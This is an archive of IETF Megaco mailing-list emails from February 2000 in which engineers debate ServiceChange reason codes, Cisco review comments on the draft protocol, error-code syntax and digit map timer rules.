To: MEGACO@STANDARDS.NORTELNETWORKS.COM

--------------9054E3319F634D80C59AB255
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Tom

My main goal was to verify if the reason code as shown was used
correctly.


>
> You're wondering why the MGC would put terminations out of service.
> One typical example would be if someone requests test access to a
> termination by way of a management interface into the MGC.  There is
> nothing wrong with the termination itself, so the MG can't predict
> this ahead of time.

This is an interesting scenario:
MGC takes termination out of service via ServiceChange.
MG marks termination as out of service.
Standard says
"Add SHALL NOT be used on a Termination with a serviceState of
"OutofService."
"Modify SHALL NOT be used on a Termination with a serviceState of
"OutofService."
Unless this test you are referring to is not accomplish via MGC command
or has anything to do
with Megaco, please disregard my comments.






>
>
>      -----Original Message-----
>      From:  Chuong Nguyen [SMTP:Chuong.Nguyen@USA.ALCATEL.COM]
>      Sent:  Thursday, February 03, 2000 2:54 PM
>      To:    MEGACO@STANDARDS.NORTELNETWORKS.COM
>      Subject:       ServiceChange Reason Code
>
>      Hi
>
>      Can someone look at the following and provide some inputs as
>      whether it is correct or complete?
>      Do we really need so many Reason Code?
>      If we do, according to section 13.3 "A complete description of
>      the condition under which the reason
>      is used is detected shall ...."
>       ----------- (somekind of typo here)
>
>      Thanks
>      Chuong
>
>
>      Direction               TermId           Method          Reason
>      MG->MGC         ROOT            Restart          900 Service
>      Restored ??
>
>
>      901 MG Cold Boot
>
>
>      902 MG Warm Boot
>      MGC->MG         ROOT            Handoff         908 MGC Impending
>      Failure ??
>      MG->MGC         ROOT            Failover        903 MGC Directed
>      Change
>
>
>      908 MG Impending Failure
>
>
>      909 MGC Impending Failure
>      MG->MGC         termId(s)       Restart         900 Service
>      Restored
>
>      Forced          905 Termination taken out
>                                                            of service
>
>      Graceful       904 Termination malfunctioning
>
>
>      906 Loss of lower layer connectivity
>
>
>      907 Transmission Failure
>
>
>      910 Media Capability Failure
>
>
>      911 Modem Capability Failure
>
>
>      912 Mux Capability Failure
>
>
>      913 Signal Capability Failure
>
>
>      914 Event Capability Failure
>      MG->MGC        ROOT        Disconnected    915 State Loss
>
>
>      ----------------------------------------------------------
>
>      Direction               TermId           Method          Reason
>      MGC->MG         ROOT            Forced or       Can we even allow
>      this?
>
>      Graceful         If yes,
>
>
>      901 MG Cold Boot or
>
>
>      902 MG Warm Boot or
>
>
>      903 MGC Directed Change or?
>                                   termId(s)        Forced          905
>      Termination taken out of service
>                                   termId(s)        Graceful
>      same reasons as MG-MGC?
>
>
>      Can't be right because MG would already know
>
>
>      what is wrong w/term before MGC.
>                                  termId(s)       Restart         900
>      Service Restored  ???
>
>
>      903 MGC Directed Change
>                                  ROOT            Restart         Only
>      if MG is up but out service.
>
>
>      900 MGC Service Restored ??
>
>
>      903 MGC Directed Change
>
>      Why would MGC needs to take terminations out of service?
>      For ephemeral, it does not make sense.
>      For physical, MG would know something is wrong with the
>      termination
>      before MGC would.
>      Regardless, this is useful in a sense it prevents the MG from
>      CHOOSING
>      a termination that MGC wants to be out of service.
>      I don't quite understand the needs for both Forced and Graceful
>      here.
>      I would think that the MGC would have Subtract the terminations
>      before
>      taking them out of service.  This is because Force or Graceful
>      does not
>      take terminations out of context.
>      So seems like it is always Forced.
>
>
>      --
>        Alcatel USA, Inc             Internet:
>      Chuong.Nguyen@usa.alcatel.com
>        1000 Coit Road Plano, Texas 75075           Phone:    (972)
>      519-4613
>        **** The opinions expressed are not those of Alcatel USA, Inc
>      ****
>
>
--
  Alcatel USA, Inc             Internet: Chuong.Nguyen@usa.alcatel.com
  1000 Coit Road Plano, Texas 75075           Phone:    (972) 519-4613
  **** The opinions expressed are not those of Alcatel USA, Inc ****



--------------9054E3319F634D80C59AB255
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit



Tom

My main goal was to verify if the reason code as shown was used correctly.

 

 

You're wondering
why the MGC would put terminations out of service.  One typical example
would be if someone requests test access to a termination by way of a management
interface into the MGC.  There is nothing wrong with the termination
itself, so the MG can't predict this ahead of time.

This is an interesting scenario:

MGC takes termination out of service via ServiceChange.

MG marks termination as out of service.

Standard says

"Add SHALL NOT be used on a Termination with a serviceState of "OutofService."

"Modify SHALL NOT be used on a Termination with a serviceState of "OutofService."

Unless this test you are referring to is not accomplish via MGC command
or has anything to do

with Megaco, please disregard my comments.

 

 

 

 

 

 

    -----Original Message-----

    From:  Chuong Nguyen [SMTP:Chuong.Nguyen@USA.ALCATEL.COM]

    Sent:  Thursday, February
03, 2000 2:54 PM

    To:    MEGACO@STANDARDS.NORTELNETWORKS.COM

    Subject:      
ServiceChange Reason Code

    Hi

    Can someone look at the following and provide some
inputs as whether it is correct or complete?

    Do we really need so many Reason Code?

    If we do, according to section 13.3 "A complete
description of the condition under which the reason

    is used is detected shall ...."

     ----------- (somekind of typo here)

    Thanks

    Chuong

     

    Direction              
TermId           Method         
Reason

    MG->MGC        
ROOT           
Restart          900 Service
Restored ??

                                                                               
901 MG Cold Boot

                                                                               
902 MG Warm Boot

    MGC->MG        
ROOT           
Handoff         908 MGC Impending
Failure ??

    MG->MGC        
ROOT           
Failover        903 MGC Directed Change

                                                                              
908 MG Impending Failure

                                                                              
909 MGC Impending Failure

    MG->MGC        
termId(s)       Restart        
900 Service Restored

                                                         
Forced          905 Termination
taken out

                                                         
of service

                                                         
Graceful       904 Termination malfunctioning

                                                                              
906 Loss of lower layer connectivity

                                                                              
907 Transmission Failure

                                                                              
910 Media Capability Failure

                                                                              
911 Modem Capability Failure

                                                                              
912 Mux Capability Failure

                                                                              
913 Signal Capability Failure

                                                                              
914 Event Capability Failure

    MG->MGC       
ROOT        Disconnected   
915 State Loss

     

    ----------------------------------------------------------

    Direction              
TermId           Method         
Reason

    MGC->MG        
ROOT           
Forced or       Can we even allow this?

                                                        
Graceful         If yes,

                                                                               
901 MG Cold Boot or

                                                                               
902 MG Warm Boot or

                                                                               
903 MGC Directed Change or?

                                
termId(s)        Forced         
905 Termination taken out of service

                                
termId(s)        Graceful       
same reasons as MG-MGC?

                                                                             
Can't be right because MG would already know

                                                                             
what is wrong w/term before MGC.

                               
termId(s)       Restart        
900 Service Restored  ???

                                                                            
903 MGC Directed Change

                               
ROOT           
Restart         Only if MG is up
but out service.

                                                                            
900 MGC Service Restored ??

                                                                            
903 MGC Directed Change

    Why would MGC needs to take terminations out of service?

    For ephemeral, it does not make sense.

    For physical, MG would know something is wrong with
the termination

    before MGC would.

    Regardless, this is useful in a sense it prevents
the MG from CHOOSING

    a termination that MGC wants to be out of service.

    I don't quite understand the needs for both Forced
and Graceful here.

    I would think that the MGC would have Subtract the
terminations before

    taking them out of service.  This is because
Force or Graceful does not

    take terminations out of context.

    So seems like it is always Forced.

     

    --

      Alcatel USA, Inc            
Internet: Chuong.Nguyen@usa.alcatel.com

      1000 Coit Road Plano,
Texas 75075          
Phone:    (972) 519-4613

      **** The opinions expressed
are not those of Alcatel USA, Inc ****

     





-- 
  Alcatel USA, Inc             Internet: Chuong.Nguyen@usa.alcatel.com
  1000 Coit Road Plano, Texas 75075           Phone:    (972) 519-4613
  **** The opinions expressed are not those of Alcatel USA, Inc ****

 

--------------9054E3319F634D80C59AB255--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Feb  3 17:53:47 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA01582
	for ; Thu, 3 Feb 2000 17:53:46 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.43F66670@standards.nortelnetworks.com>; Thu, 3 Feb 2000 17:51:15 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 22063 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 3 Feb 2000 17:50:16 -0500
Received: from smtprch1.nortel.com (192.135.215.14) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.21134740@standards.nortelnetworks.com>; Thu, 3 Feb 2000
          17:50:16 -0500
Received: from zmers013 by smtprch1.nortel.com; Thu, 3 Feb 2000 15:26:01 -0600
Received: from zrchb213.us.nortel.com by zmers013; Thu, 3 Feb 2000 16:25:41
          -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2448.0) id
          <1F2TKSHR>; Thu, 3 Feb 2000 15:25:39 -0600
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01BF6E8D.3669B688"
Message-ID:  
Date:         Thu, 3 Feb 2000 15:25:34 -0600
Reply-To: Tom-PT Taylor 
Sender: "Media Gateway Control (megaco)"
              
From: Tom-PT Taylor 
Subject:      Re: Cisco SG16: Embedded Events/Signals Descriptor
X-To:         Chip Sharp 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BF6E8D.3669B688
Content-Type: text/plain

Clarification to be added for section 7.1.14.

> -----Original Message-----
> From: Chip Sharp [SMTP:chsharp@CISCO.COM]
> Sent: Tuesday, January 25, 2000 7:05 PM
> To:   MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject:      Cisco SG16: Embedded Events/Signals Descriptor
>
> Section:        7.1.9, third paragraph from bottom
> Category:       Technical
> Issue:          The draft text specifies that "An Action can include an
> Embedded
> Signals descriptor and/or an Embedded Events Descriptor which, if present,
> replaces the current Signals/Events descriptor when the event is
> detected".
> The paragraph does not define what happens with a partially matched digit
> map when an Embedded Events Descriptor is activated. For example, lets say
> digits "1,2,3" were accumulated according to digit map A, and the embedded
> Events Descriptor then accumulates digits according to digit map B, how
> does digit map matching proceed ?
> Proposal:       It is recommended, that the current dial string is
> cleared, and
> that digit map match should be reset when an embedded Events Descriptor is
> activated.
>
> v13 Status:     OPEN. No significant text change has occurred.
>
> --------------------------------------------------

------_=_NextPart_001_01BF6E8D.3669B688
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable






RE: Cisco SG16: Embedded Events/Signals Descriptor




Clarification to be =
added for section 7.1.14.



    

    -----Original Message-----

    From:   Chip Sharp [SMTP:chsharp@CISCO.COM]

    Sent:   Tuesday, January 25, 2000 7:05 PM

    To:     MEGACO@STANDARDS.NORTELNETWORKS.COM

    Subject:       =
 Cisco SG16: Embedded Events/Signals =
Descriptor

    


    Section:        =
7.1.9, third paragraph from bottom

    Category:       =
Technical

    Issue:        &nb=
sp; The draft text specifies that "An Action can include an =
Embedded

    Signals descriptor and/or an Embedded =
Events Descriptor which, if present,

    replaces the current Signals/Events =
descriptor when the event is detected".

    The paragraph does not define what =
happens with a partially matched digit

    map when an Embedded Events =
Descriptor is activated. For example, lets say

    digits "1,2,3" were =
accumulated according to digit map A, and the embedded

    Events Descriptor then accumulates =
digits according to digit map B, how

    does digit map matching proceed =
?

    Proposal:       It is =
recommended, that the current dial string is cleared, and

    that digit map match should be reset =
when an embedded Events Descriptor is

    activated.

    


    v13 Status:     =
OPEN. No significant text change has occurred.

    


    --------------------------------------------------=


    




------_=_NextPart_001_01BF6E8D.3669B688--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Feb  3 19:15:10 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA02443
	for ; Thu, 3 Feb 2000 19:15:10 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.A057D740@standards.nortelnetworks.com>; Thu, 3 Feb 2000 19:12:34 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 22310 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 3 Feb 2000 19:10:38 -0500
Received: from qhars001.nortel.com (192.100.101.18) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.5AFA6CD0@standards.nortelnetworks.com>; Thu, 3 Feb 2000
          19:10:38 -0500
Received: from smtprch1.nortel.com (actually erchg0j) by qhars001.nortel.com;
          Fri, 4 Feb 2000 00:12:25 +0000
Received: from zmers013 by smtprch1.nortel.com; Thu, 3 Feb 2000 18:07:35 -0600
Received: from zrtpd004.us.nortel.com (actually nrtpd004) by zmers013; Thu, 3
          Feb 2000 19:07:06 -0500
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2448.0) id
          <1D5VB88N>; Thu, 3 Feb 2000 19:06:46 -0500
X-Mailer: Internet Mail Service (5.5.2448.0)
Message-ID:  
Date:         Thu, 3 Feb 2000 19:06:42 -0500
Reply-To: Tom-PT Taylor 
Sender: "Media Gateway Control (megaco)"
              
From: Tom-PT Taylor 
Subject:      FW: Cisco SG16: Provisional Response timers
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Resend.

> -----Original Message-----
> From: Taylor, Tom-PT [CAR:B904:EXCH]
> Sent: Thursday, February 03, 2000 2:43 PM
> To:   'Chip Sharp'; MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject:      RE: Cisco SG16: Provisional Response timers
>
> This looks like a v2 optimization.  Anyone else care to comment?
>
> -----Original Message-----
> From: Chip Sharp [SMTP:chsharp@CISCO.COM]
> Sent: Tuesday, January 25, 2000 7:51 PM
> To:   MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject:      Cisco SG16: Provisional Response timers
>
> Section:        D.1.4
> Category:       Technical
> Issue:          The draft text specifies that receipt of a provisional
> response
> will imply a switch to a longer repetition timer for the transaction.
> However, there is no other reliability mechanism in place to detect the
> loss of the final response for that transaction, and consequently a lost
> final response may not be detected for a while (depends on the longer
> repetition timer). This leads to suboptimal behaviour of the protocol with
> unnecessary long time-outs.
> Proposal:       It is proposed, that a final response issued after a
> provisional
> response requires an immediate confirmation to enable rapid detection of a
> lost final response. Since the provisional response itself may be lost,
> this implies that the final response should include an indication that a
> response acknowledgement is required (immediately).
>
> v13 Status:     OPEN. No relevant text changed.
> Support NetAid!  http://www.netaid.org
> --------------------------------------------------
> Chip Sharp                 Consulting Engineering
> Cisco Systems              Telco Bio-region
> Reality - Love it or Leave it.
> --------------------------------------------------


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Feb  3 19:23:20 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA02477
	for ; Thu, 3 Feb 2000 19:23:20 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.BFD085D0@standards.nortelnetworks.com>; Thu, 3 Feb 2000 19:20:36 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 22339 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 3 Feb 2000 19:19:34 -0500
Received: from qhars001.nortel.com (192.100.101.18) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.9A77F9D0@standards.nortelnetworks.com>; Thu, 3 Feb 2000
          19:19:34 -0500
Received: from smtprch1.nortel.com (actually erchg0j) by qhars001.nortel.com;
          Fri, 4 Feb 2000 00:21:33 +0000
Received: from zmers013 by smtprch1.nortel.com; Thu, 3 Feb 2000 18:18:56 -0600
Received: from zrchb213.us.nortel.com by zmers013; Thu, 3 Feb 2000 19:18:36
          -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2448.0) id
          <1F2TKVL0>; Thu, 3 Feb 2000 18:18:33 -0600
X-Mailer: Internet Mail Service (5.5.2448.0)
Message-ID:  
Date:         Thu, 3 Feb 2000 18:18:33 -0600
Reply-To: Tom-PT Taylor 
Sender: "Media Gateway Control (megaco)"
              
From: Tom-PT Taylor 
Subject:      FW: Cisco SG16: Multiplex Descriptor in Add
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Resend.

> -----Original Message-----
> From: Taylor, Tom-PT [CAR:B904:EXCH]
> Sent: Thursday, February 03, 2000 2:44 PM
> To:   'Chip Sharp'; MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject:      RE: Cisco SG16: Multiplex Descriptor in Add
>
> For the moment I see this as a "clarification" item.
>
> -----Original Message-----
> From: Chip Sharp [SMTP:chsharp@CISCO.COM]
> Sent: Tuesday, January 25, 2000 7:50 PM
> To:   MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject:      Cisco SG16: Multiplex Descriptor in Add
>
> Section:        7.2.1, third paragraph from bottom
> Category:       Technical
> Issue:          The draft text specifies that "if a Multiplex Descriptor
> is
> present in an Add command and lists any Terminations that are not
> currently
> in the Context, such Terminations are added to the context as if
> individual
> Add commands listing the Terminations were invoked". However it is not
> specified how errors encountered when adding such terminations are handled
> (normally, when wildcards are used, a response for each termination
> matched
> by the wildcard would be returned).
> Proposal:       It is proposed that the command fails and an error code is
> defined for this case is defined.
>
> v13 Status:     OPEN. No relevant text changed.
>
> Section:        D.1.5, item number 4
> Category:       Editorial
> Issue:          The draft text does not point out the side-effect of a an
> Add command with a Mux-descriptor naming terminations not presently in the
> context. Such commands essentially operate as wild-carded Add commands and
> should consequently be mentioned as well.
> Proposal:       It is suggested that the following sentence is added to
> the
> end of rule 4: "This includes Add commands with a Mux-descriptor where the
> terminations in the Mux-descriptor are covered by the wild-carding in the
> Subtract command"
>
> v13 Status:     OPEN. No text changed.
>
>
>
> Support NetAid!  http://www.netaid.org
> --------------------------------------------------
> Chip Sharp                 Consulting Engineering
> Cisco Systems              Telco Bio-region
> Reality - Love it or Leave it.
> --------------------------------------------------


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Feb  3 19:23:20 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA02479
	for ; Thu, 3 Feb 2000 19:23:20 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.C0181620@standards.nortelnetworks.com>; Thu, 3 Feb 2000 19:20:37 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 22344 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 3 Feb 2000 19:19:34 -0500
Received: from qhars001.nortel.com (192.100.101.18) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.9A8D5690@standards.nortelnetworks.com>; Thu, 3 Feb 2000
          19:19:34 -0500
Received: from smtprch1.nortel.com (actually erchg0j) by qhars001.nortel.com;
          Fri, 4 Feb 2000 00:20:18 +0000
Received: from zmers013 by smtprch1.nortel.com; Thu, 3 Feb 2000 18:07:57 -0600
Received: from zrtpd004.us.nortel.com (actually nrtpd004) by zmers013; Thu, 3
          Feb 2000 19:07:28 -0500
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2448.0) id
          <1D5VB885>; Thu, 3 Feb 2000 19:07:27 -0500
X-Mailer: Internet Mail Service (5.5.2448.0)
Message-ID:  
Date:         Thu, 3 Feb 2000 19:07:25 -0500
Reply-To: Tom-PT Taylor 
Sender: "Media Gateway Control (megaco)"
              
From: Tom-PT Taylor 
Subject:      FW: Cisco SG16: Local negotiation
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Resend.

> -----Original Message-----
> From: Taylor, Tom-PT [CAR:B904:EXCH]
> Sent: Thursday, February 03, 2000 3:08 PM
> To:   'Chip Sharp'; MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject:      RE: Cisco SG16: Local negotiation
>
> Responses to the points below:
> (1) Current text definitely supports asymmetry.  Local and Remote can
> specify different codecs, both of which are supported.  However, if
> multiple alternatives are presented in Local and Remote, the selection
> procedure is biassed toward symmetry.
>
> (2) Proposed third alternative (report all capabilities, reserve for only
> one) seems like an optimization.  It isn't really consistent with SDP.
>
> (3) SDP itself says that multiple entries on the m= line must all be
> supported:
>
>      When a list of payload formats is given, this implies that all of
>      these formats may be used in the session, but the first of these
>      formats is the default format for the session.
>
>
> -----Original Message-----
> From: Chip Sharp [SMTP:chsharp@CISCO.COM]
> Sent: Tuesday, January 25, 2000 7:47 PM
> To:   MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject:      Cisco SG16: Local negotiation
>
> Section:        7.1.8, second paragraph
> Category:       Open Issue
> Issue:          The draft text specifies that "Local is the capability of
> the local
> MG and is typically sent from MG to MGC, and subsequently used as part of
> a
> capability negotiation between two MGCs. Remote contains the parameters
> describing the flows the remote MG will send/receive, is typically sent
> from MGC to MG, and is the result of the capability negotiation". The
> details of this negotiation as well as how it interacts with
> LocalControlDescriptor and the network package defined in Annex E.9 is
> unclear and needs further clarification. In particular, it is not clear:
>
> *       that the specification adequately supports media streams with
> asymmetric
> send and receive capabilities.
> *       when negotiated media resources are reserved and they are
> available for use
> It should be noted, that this particular issue has been the subject of
> much
> debate on the IETF Megaco mailing list since the white contribution was
> developed, and that at time of writing, no resolution had been found.
> Discussion:             Given the fact, that solving this issue is at the
> heart of the
> very purpose of the protocol, it is recommended that additional work to
> develop a solution that satisfies the protocol requirements [1] in this
> area is done.
>
> v13 Status:             Modified. INADEQUATE. Above text has been removed
> and replaced
> with extensive new text, incl. description of "Reserve" parameter in
> Section 7.1.7 which provides for:
> *       Return all alternatives supported and currently capable, and
> reserve
> sufficient resources for any one of those.
> *       Return one alternative, and reserve sufficient resources for that
> one.
> In addition to these two options, a third option is proposed:
> *       Return all alternatives supported and currently capable, but only
> reserve
> sufficient resources for one alternative selected.
> This will allow each endpoint to learn the capabilities of the other
> without requiring that simultaneous support for each alternative. This may
> be required when codecs (or other associated resources, e.g. external
> resource reservation) can not be activated nearly instantaneously.
> Also, how does this interwork with SIP, etc., i.e. other protocols that
> use
> SDP ? For example, it does not seem to be legal to only support a subset
> of
> the codecs listed in an "m=" line which is somewhat problematic.
>
>
> Support NetAid!  http://www.netaid.org
> --------------------------------------------------
> Chip Sharp                 Consulting Engineering
> Cisco Systems              Telco Bio-region
> Reality - Love it or Leave it.
> --------------------------------------------------


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Feb  3 19:34:11 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA02607
	for ; Thu, 3 Feb 2000 19:34:11 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.4CA91520@standards.nortelnetworks.com>; Thu, 3 Feb 2000 19:31:42 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 22349 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 3 Feb 2000 19:30:16 -0500
Received: from mail-dns1-nj.dialogic.com by standards.nortelnetworks.com (LSMTP
          for Windows NT v1.1a) with SMTP id
          <0.B3CA8510@standards.nortelnetworks.com>; Thu, 3 Feb 2000 19:20:16
          -0500
Received: from mail4.dialogic.com (mail4.dialogic.com [146.152.6.40]) by
          mail-dns1-nj.dialogic.com (8.9.1a+p1/8.9.1/d: relay.m4,v 1.11
          1999/11/10 17:27:15 spurcell Exp $) with ESMTP id AAA03662 for
          ; Fri, 4 Feb 2000 00:23:29 GMT
Received: from exchange3nj.dialogic.com (mailnj.dialogic.com [146.152.3.18]) by
          mail4.dialogic.com (PMDF V5.2-31 #40816) with ESMTP id
          <0FPD00I5KQD7G1@mail4.dialogic.com> for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu,  3 Feb 2000 19:22:19 -0500
          (EST)
Received: by mailnj.dialogic.com with Internet Mail Service (5.5.2650.21) id
          <1BFGBM0A>; Thu, 03 Feb 2000 19:20:45 -0500
Content-return: allowed
MIME-version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-type: text/plain; charset=iso-8859-1
Content-transfer-encoding: 7BIT
Message-ID:  
Date:         Thu, 3 Feb 2000 19:20:11 -0500
Reply-To: "Rupsis, Paul" 
Sender: "Media Gateway Control (megaco)"
              
From: "Rupsis, Paul" 
Subject:      More IANA considerations
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7BIT

Small Point....

Under IANA Considerations, Section 13.2 "Error Codes":

"4. Error numbers registered by recognized standards bodies shall have 3 or
4 character error numbers.
 5. Error numbers registered by all other organizations or individuals shall
have 4 character error numbers."

But the ABNF in Annex B shows error codes to be no more than 3 digits:
 "ErrorCode            = 1*3(DIGIT) ; could be extended"

While the ASN.1 specification shows:
"ErrorCode ::= INTEGER(0..65535)
-- See section 13 for IANA considerations w.r.t. error codes"

I would think that the ABNF for ErrorCode should be redefined to UINT16.


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Feb  3 21:07:29 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA03594
	for ; Thu, 3 Feb 2000 21:07:29 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.50776F50@standards.nortelnetworks.com>; Thu, 3 Feb 2000 21:04:52 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 22540 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 3 Feb 2000 21:03:16 -0500
Received: from qhars001.nortel.com (192.100.101.18) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.16EDF920@standards.nortelnetworks.com>; Thu, 3 Feb 2000
          21:03:15 -0500
Received: from smtprch1.nortel.com (actually erchg0j) by qhars001.nortel.com;
          Fri, 4 Feb 2000 02:05:19 +0000
Received: from zmers013 by smtprch1.nortel.com; Thu, 3 Feb 2000 20:04:51 -0600
Received: from zrtpd004.us.nortel.com (actually nrtpd004) by zmers013; Thu, 3
          Feb 2000 21:04:46 -0500
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2448.0) id
          <1D5VB9XL>; Thu, 3 Feb 2000 21:04:46 -0500
X-Mailer: Internet Mail Service (5.5.2448.0)
Message-ID:  
Date:         Thu, 3 Feb 2000 21:04:44 -0500
Reply-To: Tom-PT Taylor 
Sender: "Media Gateway Control (megaco)"
              
From: Tom-PT Taylor 
Subject:      More Digit Map Fixes
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

I took a closer look at digit maps (section 7.1.14) as a result of a private
discussion and found an ambiguity in our current rules.  I also learned a
bit more about the intent behind the "L", "S", and DOT symbols.  This leads
to the following proposed additions to the errata list:

A. Timer Rules (section 7.1.14)
---------------------------------------------

Current rules regarding timer use:

1.      The start timer (T) is used prior to any digits having been dialed.
2.      If the Media Gateway can determine that at least one more digit is
needed for a digit string to match any of the allowed patterns in the digit
map, then the interdigit timer value should be set to a long (L) duration
(e.g.-16 seconds).
3.      If the DigitMap specifies that a variable number of additional
digits may be needed then the short timer (S) is used.
The problem is with that third rule -- it is indistinguishable from the
second one as it currently reads.  Here is a proposed alternative phrasing
of the rule:

"3.   If the digit string has matched one of the patterns in the digit map,
but it is possible that more digits could be received which would cause a
match with a different pattern, then instead of reporting the match
immediately, the MG must apply the short timer (S) and wait for more
digits."

B. Digit Map Completion Event (currently in section E.6.2)
----------------------------------------------------------------------------
-------

We need a way to report a long duration tone match as part of a pattern.
The simplest thing is to report the portion of the digit map which was
matched, as a string of digit map symbols rather than tone IDs.  We can use
tone IDs to report any extra digits collected.

It is also useful for the MGC to know whether the report came from a match,
a short timeout (match of an ambiguous pattern), or another timeout
(permanent signal/partial dial).

I therefore propose that the event be defined as follows:

DigitMap Completion Event
EventID: ce, 0x0001
Raised when pattern match or timeout is detected on a digit map.
EventsDescriptor parameters: none
ObservedEventsDescriptor parameters:
        DigitString
                ParameterID: ds (0x0001)
                Type: string of digit map symbols (possibly empty)
                Possible values: any sequence of the characters "0" through
"9", "A" through "F", and the long duration modifier "L".
                Description: the actual sequence of observed events,
represented by their corresponding digit map symbols, which matched part or
all of a digit map string.
        Extras
                ParameterID: ex (0x0002)
                Type:  list of toneIDs
                Possible values: any of the DTMF toneIDs defined in the
table in section E.5.3
                Description: the sequence of tone events detected in the
interval subsequent to completion of the (sub)string reported in DigitString
and before initial, long, or short timer expiry as applicable.
        Completion
                ParameterID: cm (0x0002)
                Type: enumeration
                Possible values: "M" (unambiguous match), "S" (short timer
expiry), or "T" (initial or long timer expiry)

C. Use Of DOT
----------------------
Our ABNF mentions DOT as a possible digit map symbol.  I've learned that DOT
was intended to stand for an arbitrary number of repetitions of the
preceding symbol.  Thus the string "x.F" stands for an arbitrary number of
digits between 0 and 9, terminated by the "#" sign (if DTMF is being used).
Long timing would be used throughout after the first digit.  The string "x."
would achieve the same purpose with short timing used after the first digit
(rule 3 above), and a terminating "#" sign reported as an extra in the DTMF
completion event described above.

Disposition: add text to describe the use of DOT in the description of digit
map symbols in 7.1.14.



Tom Taylor
Advisor -- Emerging Carrier IP Standards
E-mail: taylor@nortelnetworks.com (internally, Tom-PT Taylor)
Phone and FAX: +1 613 736 0961


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb  4 00:19:01 2000
